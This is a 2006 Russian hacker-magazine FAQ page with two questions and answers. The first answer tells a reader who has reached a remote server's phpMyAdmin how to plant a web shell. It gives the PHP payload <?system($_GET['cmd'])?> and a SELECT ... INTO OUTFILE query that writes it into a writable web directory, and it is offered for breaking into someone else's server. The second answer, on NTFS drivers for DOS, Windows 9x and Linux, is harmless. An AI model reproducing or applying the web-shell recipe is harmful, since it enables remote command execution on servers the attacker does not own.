Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #89, МАЙ 2006 г.

FAQ

Степан Ильин aka Step

Хакер, номер #089, стр. 089-126-3


Q: Есть доступ к скрипту phpMyAdmin на удаленном серваке. Багов в этой версии скрипта нет, залить веб-шелл не получается, а выполнить команды на удаленном сервере очень хочется. Может быть, есть рецепт дальнейших действий?

A: Для начала неплохо освоиться с phpMyAdmin. Как известно, это популярный (но при этом отнюдь не самый удобный) скрипт для управления MySQL-базами данных. Этим фактом можно воспользоваться, но лишь с одним условием: ты должен найти директорию с правами на запись, причем в пределах DocumentRoot (то есть доступная с www). Дальше все просто. Создается в базе таблица с одним полем, в котором помещается до боли знакомая строка: <?system($_GET['cmd'])?>. Делаем вывод поля в файл из созданной таблицы. Для этого формируем хитрый SQL-запрос: SELECT <название единственного поля таблицы> FROM <имя таблицы> INTO OUTFILE '/путь_к_папке_доступной_для записи/file.php'. Вот тебе и веб-шелл.

Q: Как наладить поддержку NTFS в различных операционных системах?

A: В данный момент полноценная поддержка NTFS присутствует только в ОС семейства NT: Windows NT, 2000, XP, 2003 Server. Для других систем придется устанавливать специальные средства.

MS-DOS: Существует специальный драйвер NTFSDOS (www.sysinternals.com/Utilities/NtfsDos.html). Поддерживает чтение с NTFS-разделов, а в случае профессиональной версии, - и запись.

Windows 9x: Как вариант можно использовать аналог NTFSDOS от того же разработчика. Однако он поддерживает только чтение данных, хотя для записи можно использовать DOS’овский драйвер. Еще одно средство — драйвер Paragon NTFS for Windows 98 (www.paragon.ru), поддерживающий как чтение, так и запись информации.

Linux: Разработка Linux-NTFS (www.linux-ntfs.org), включающая в себя модуль ядра и набор утилит для работы с файловыми системами NTFS. Можно проверять целостность разделов, восстанавливать удаленные файлы и т.д. Этот драйвер по умолчанию включен в Linux еще с ядра версии 2.2. Модулем ядра поддерживается только чтение, но недавно в рамках проекта появилась утилита ntfsmount, позволяющая монтировать NTFS-разделы на запись. Это первый полностью свободный продукт, имеющий такую возможность. Если возникнут проблемы, то можно попробовать использовать альтернативу — Paragon NTFS for Linux. Этот платный драйвер поддерживает чтение и запись, вдобавок предоставляет несколько полезных утилит.

Назад на стр. 089-126-2  Содержание  Вперед на стр. 089-126-4